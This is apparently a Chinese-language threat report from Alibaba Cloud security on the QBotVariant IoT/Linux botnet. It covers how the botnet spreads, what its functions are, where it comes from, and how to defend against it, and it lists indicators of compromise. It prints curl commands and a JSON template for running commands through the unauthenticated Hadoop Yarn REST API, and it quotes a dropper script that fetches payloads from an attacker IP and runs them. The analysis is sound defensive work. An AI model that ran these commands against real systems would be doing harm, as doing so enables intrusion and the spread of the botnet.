1. 程式人生 > >因為看見,所以發現:QBotVariant謝絕落幕

因為看見,所以發現:QBotVariant謝絕落幕

網際網路給人帶來便捷的同時,其公開大量的資源也同樣給惡意利用者帶了便捷,越來越多公開的惡意程式原始碼降低了對外攻擊、入侵的難度,使得安全問題愈加嚴重。

阿里雲安全團隊從今年5月份監測到一BOT家族,其樣本改寫自網際網路公開渠道原始碼,在網際網路上廣泛傳播,造成了極大的危害,雲安全團隊對該類樣本做了分析、聚類、溯源,在此我們將該類樣本命名為QBotVariant。

QBotVariant具有DDoS攻擊、後門、下載器、暴力破解等功能,一旦被入侵便變成肉雞,其主要傳播方式通過Hadoop Yarn資源管理系統REST API未授權訪問漏洞和基於弱口令的暴力破解。類似Mirai該BOT家族針對多個版本的作業系統,不僅伺服器受到危害,如CCTV監控、家庭路由等IOT裝置更容易被攻擊、入侵。Radware公司Pascal Geenens在最新的部落格《New DemonBot Discovered》中提及到該類樣本,但是他發現的IP、樣本等資訊只是該類家族的其中一個樣本,而我們從監測到30多個下載伺服器可以看出,QBotVariant多變的IP和二進位制樣本變種,使其難以發現和跟蹤。

在雲平臺上,我們監測到的QBotVariant活躍度如下,峰值的時候可以達到上千個,活躍度一直未減。

68b68f67c49ad8ea5eae920a2522cbe768f5370b

以下我們將從傳播方式、指令碼分析、樣本分析、溯源等多個角度對QBotVariant進行詳細的分析。

入侵、傳播方式

QBotVariant家族傳播的方式有兩種,一是利用Hadoop Yarn資源管理系統REST API未授權訪問漏洞進行入侵,二是通過硬編碼的弱密碼進行SSH暴力破解。 8fc4239242f5ab3452ef73c7908ba048eb6aeb45

Hadoop是一款由Apache基金會推出的分散式系統框架,它通過著名的MapReduce演算法進行分散式處理,Yarn是Hadoop叢集的資源管理系統。Hadoop Yarn資源管理系統配置不當導致可以未經授權進行訪問,從而被攻擊者惡意利用。攻擊者無需認證即可通過REST API部署任務來執行任意程式碼,最終完全控制伺服器。

其問題來源於對外開啟了以下作用的埠

yarn.resourcemanager.webapp.address,預設埠8088

yarn.resourcemanager.webapp.https.address,預設埠8090

通過對新申請application,如下指令

curl -v -X POST 'http://ip:port/ws/v1/cluster/apps/new-application'

再執行如下指令即可完成入侵

curl -s -i -X POST -H 'Accept:application/json' -H 'Content-Type:application/json'http://ip:port/ws/v1/cluster/apps -data-binary @example.json

其example.json檔案如下

{

"am-container-spec":{

"commands":{

"command":"執行的命令書寫在這裡"

}

},

"application-id":"application_xxxx_xxxxx",

"application-name":"test",

"application-type":"YARN"

}

指令碼分析

我們通過溯源找到了QBotVariant比較原始版本的指令碼,在原始版本的指令碼中支援wget、tftp、ftpget等指令碼的執行,從遠端下載伺服器下載指令碼並執行

bash -c cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;

wget http://185.244.25.153/bins.sh; chmod 777 bins.sh; sh bins.sh;

tftp 185.244.25.153 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh;

tftp -r tftp2.sh -g 185.244.25.153; chmod 777 tftp2.sh; sh tftp2.sh;

ftpget -v -u anonymous -p anonymous -P 21 185.244.25.153 ftp1.sh ftp1.sh; sh ftp1.sh tftp1.sh tftp2.sh ftp1.sh

以下是阿里雲安全截獲的一個經過改寫的下載指令碼,從指令碼可以看出作者為了能夠很好的對IOT裝置支援,一方面編譯了不同版本的程式,通過ntpd、sshd、openssh等進行偽裝;另一方面每個命令列都加入了對busybox的支援,這些使得該類指令碼很好的支援了IOT裝置,為QBotVaraint的傳播提供了更加便捷的途徑。

8e6b6419ab5291e3cd2c191fb5794e0c6546bf59

在阿里雲捕獲的原始碼中有用於編譯多個版本的指令碼

dcc935689cd2993e4d1b14fcb531604819952719

QBotVariant支援版本型別及其對應二進位制名稱:

支援版本型別

對應二進位制名稱

支援版本型別

對應二進位制名稱

mips

ntpd

i586

ftp

mipsel

sshd

m68k

pftp

sh4

openssh

sparc

sh

x86_64

bash

armv4l

 

armv6l

tftp

armv5l

apache2

i686

wget

powerpc-440fp

telnetd

powerpc

cron

   

樣本分析

阿里雲截獲的多批次樣本都比較相似,都改編於QBot。某些作者為了精簡樣本或者進行殺軟對抗可能將某些功能進行裁剪,我們隨機對比兩個捕獲的樣本,如圖右邊的樣本對getRandomPublicIP函式進行了裁剪,該樣本只實現了QBot的少許功能,其檔案更小、功能更加單一。 4e16236bcc5d5bab1e3b77fb5edec3c14c6b044f

而絕大部分樣本都實現了基本功能,其傳播性、危害性等性質並未改變,部分函式如圖所示

5825be754b32d2beb078ae6c4a2c5fc5388bfbec

指令分析

我們對遠控指令進行了分析,其功能如下圖所示

2cc1a7f07b5b6d19cd046a826a5557fc0e97046b

值得注意是StartTheLelz函式,該函式主要用於對隨機生成的IP地址進行爆破,如圖通過getRandomPublicIP函式得到隨機的IP,將硬編碼的使用者名稱和密碼儲存在結構體中,然後進行連線,其最大爆破次數通過max變數進行控制,max和檔案描述表的項數有關但最大不超過4096。

012e2c703278b47e11bed2d14a981bf8b3fe98e1

通過資料區可以看見作者集成了幾種常見的使用者名稱和密碼用於爆破

9c49da047d7811ad1f1fdc017f13f00b27be89ea

如果最終爆破成功,則會在被爆破的主機中執行如下指令碼,從而感染主機,再繼續向外傳播

3cd640fd095b4b95857a6a9465678a8f5a0c3003

除了整合常見的對外DDoS攻擊方法,QBotVariant還可以進行對外發送垃圾資料,通過sendJUNK或sendUDP即可完成該動作,如圖用於生成隨機字串的makeRandomStr函式,通過傳送大量垃圾包同樣可以造成網路頻寬阻塞。

cf69f930e105d4c95b8e67bf7eadc6f6f9668c62

而QBotVariant為了最大化入侵價值,同樣提供了遠端shell命令執行功能,其命令以"SH"開頭,通過fdgets、sockprintf將命令執行後的結果返回到遠控端,實現如下

d906106571c903dc4860d5ee124898018e7f944e

樣本溯源/同源性分析

我們在對樣本分析的過程中發現一個有趣的現象,樣本為了逃避檢測,有多種不同的指令,我們選取了幾種QBotVariant的上線方式。

 

第一種,資訊較簡單,返回大小端、CPU架構、主機用途等資訊。

5c9c31b20878601f2112b7c967fc1dbe3aa56b4e

第二種,資訊比較全面,帶有作業系統、CPU架構、主機用途、埠、主機IP等資訊。

37d9ff7d8c3d6fc5764bfb0ee3b98f94c82af7c3

第三種,資訊最為簡單,只返回架構資訊。

15098483ef6ebfdb827b61fef584fcf737dd69b4

第四種,返回大小端、架構資訊。

b94713d5deccfbf64dace69d8155fb8ea702defe

第五種,資訊比較全面,架構資訊、大小端、主機IP、主機用途等資訊。

bae951a9ad2e08c94dc5e70ae79e52fc4416cbe9

第六種,返回主機IP、型別、版本資訊等。

0c4d5eedc58f6c22e1bef3842293ffa0a53aeceb

第七種,返回架構、主機IP等資訊。

e08a59a1314d675b38dc86226724169671b3623d

我們在對樣本進行溯源發現,在pastebin上存在大量該類樣本的原始碼、二進位制檔案等,其存在時間都在數月之久,作者目錄下還包括其他型別IOT蠕蟲,同時發現多個作者進行了QBot的改寫,如圖是其中一位作者的pastebin和github

f2d591115916f2a6d4030ba3ce06f19748d2ef56

QBot在國內似乎大家認知不多,但是由於原始碼簡單、客戶端小、支援多種架構,從09年活躍至今一直未間斷過,常被應用於遠控、DDoS等客戶端,在其截獲的IP中,絕大部分位於北美和歐洲各地,但是雲平臺檢測到來自國內IP的攻擊源,國內安全人員應該引起重視。

407eba8660964d91924a725081a1a5676eca1bbb

 

安全加固 ●  雲防火牆

 

開啟雲防火牆IPS攔截模式和虛擬補丁功能,雲防火牆已經支援對該類漏洞的防禦和防止暴力破解功能,使用者即使不及時修復也依然能夠進行防禦攔截。
 ●  網路訪問控制
使用"ECS/VPC安全組"對"受影響服務埠"訪問源IP進行控制,如果本身Hadoop環境僅對內網提供服務,請不要將Hadoop服務埠釋出到網際網路。
 ●  更新升級

若使用自建的Hadoop,根據實際情況及時更新補丁,Hadoop在2.X以上版本提供了安全認證功能,加入了Kerberos認證機制,建議啟用Kerberos認證功能或者您可以選擇使用雲上的MaxCompute(8年以上"零"安全漏洞)或雲上的E-MAPREDUCE服務。

安全建議

 ●  雲防火牆產品已支援防禦針對此漏洞的攻擊,建議使用者可以購買雲防火牆,開啟檢測。

 ●  通過安全管家服務,在阿里雲安全專家的指導下進行安全加固及優化工作,避免系統受到漏洞影響。

總結

QBotVariant通過Hadoop Yarn資源管理系統REST API未授權訪問漏洞、弱密碼口令爆破等方式進行入侵,一旦感染此類蠕蟲,不僅會佔用主機計算資源消耗頻寬流量,成為攻擊其他主機的肉雞,還可能造成資料洩露,資料丟失等後果。

阿里雲安全提醒廣大網際網路使用者,注意第三方應用的配置,防止出現此類未授權漏洞,同時加強使用者名稱和密碼的安全意識,切實保護自身資產安全。

IOC

部分MD5-檔名

檔名

MD5

185.244.25.153

 

YSDKOP.arm4

cc9de0d789efc8636946b4b41f374dfc

YSDKOP.arm5

ac94604edfe7730ccf70d5cd75610d01

YSDKOP.arm6

dcb51c5abd234a41ee0439183f53fd2d

YSDKOP.arm7

2416380b2fe0c693fd7c26a91b4cb8ee

YSDKOP.i586

2f029723c778f15e8e825976c66e45cd

YSDKOP.i686

49ec48d3afdddb098fa2c857fc63c848

YSDKOP.m68k

7efef839902ca20431d58685d9075710

YSDKOP.mips

eab0810535b45fa1bf0f6243dafb0373

YSDKOP.mpsl

a2c4e09821be6a4594e88376b9c30b5d

YSDKOP.ppc

1fc61114722f301065cd9673025ce5e0

YSDKOP.sh4

38abc827e67ff53d0814979b435e2c40

YSDKOP.sparc

20a38aeeffba9f0f1635c7b4b78f3727

YSDKOP.x86

8fd97d622e69b69a3331ee5ed08e71b2

188.166.125.19

 
 

7e9c49b9e743bcf7b382fa000c27b49d

apache2

64394fb25494b0cadf6062a0516f7c1a

bash

75e7ce8c110bb132d3897b293d42116a

cron

e8dfae1fe29183548503dc0270878e52

ftp

0e765d00f0ee174e79c81c9db812e3a2

ntpd

2cb932dcb5db84dafa8cdc6b4afa52d0

openssh

606a3169f099b0f2423c63b4ed3f9414

pftp

6666ef216ce7434927338137760f4ab0

sh

cc2e82ffbc6d5053efade4849c13099f

sshd

00b0a6516986aca277d0148c7ddf38c4

tftp

38b075ee960d08e96b2e77205ec017de

wget

58c5e1bc66ac6b364639bce4b3f76c58

部分IP

178.128.194.222

178.128.7.76

103.214.111.122

130.185.250.199

194.182.80.200

138.197.74.100

198.199.84.119

104.248.165.108

178.128.46.254

159.65.227.17

206.189.196.216

80.211.109.66

194.48.152.114

159.89.114.171

178.128.43.104

185.244.25.153

209.97.159.10

46.36.37.121

46.29.164.242

46.17.47.250

158.69.60.239

195.181.223.138

80.211.39.186

188.166.125.19

104.248.112.122

212.237.26.71

178.128.239.252

104.248.212.127

104.248.63.168

 

部分URL及出現時間

URL

時間

http://138.197.74.100/bins.sh

20180904

http://80.211.39.186/bins.sh

20180904

http://178.128.239.252/bins.sh

20180908

http://158.69.60.239/bins/boti586final

20180908

http://158.69.60.239/bins/botx86_64final

20180908

http://158.69.60.239/bins/boti686final

20180908

http://158.69.60.239/bins.sh

20180908

http://178.128.239.252/bins.sh

20180909

http://130.185.250.199/bins.sh

20180909

http://46.17.47.250/xm2bash

20180913

http://104.248.112.122/Kuso69/Akiru.x86

20180918

http://194.182.80.200/bins.sh

20180919

http://104.248.112.122/Kuso69/Akiru.x86

20180919

http://209.97.159.10/bins.sh

20181003

http://46.17.47.250/xm2wget

20181005

http://185.244.25.153/bins.sh

20181009

http://159.65.227.17/bins.sh

20181009

http://178.128.7.76/bins.sh

20181010

http://185.244.25.153/bins.sh

20181010

http://104.248.212.127/bins.sh

20181010

http://159.65.227.17/bins.sh

20181010

http://206.189.196.216/bins.sh

20181010

http://188.166.125.19/bins.sh

20181010

http://188.166.125.19/bins.sh

20181011

http://185.244.25.153/bins.sh

20181011

http://178.128.7.76/bins.sh

20181011

http://104.248.212.127/bins.sh

20181011

http://80.211.109.66/bins.sh

20181012

http://185.244.25.153/bins.sh

20181012

http://195.181.223.138/bins.sh

20181012

http://159.89.114.171/bins.sh

20181012

http://178.128.7.76/bins.sh

20181012

http://104.248.212.127/bins.sh

20181012

http://185.244.25.153/bins.sh

20181015

http://104.248.165.108/bins.sh

20181018

http://198.199.84.119/bins.sh

20181018

http://103.214.111.122/bins.sh

20181019

http://178.128.46.254/bins.sh

20181019

http://178.128.43.104/bins.sh

20181019

http://104.248.63.168/vvglma

20181021

http://178.128.194.222/bins.sh

20181026

http://178.128.194.222/bins.sh

20181027

http://178.128.194.222/bins.sh

20181028

http://46.29.164.242/bins.sh

20181031

http://194.48.152.114/bins.sh

20181101

http://46.36.37.121/weed.sh

20181103


原文連結
本文為雲棲社群原創內容,未經允許不得轉載。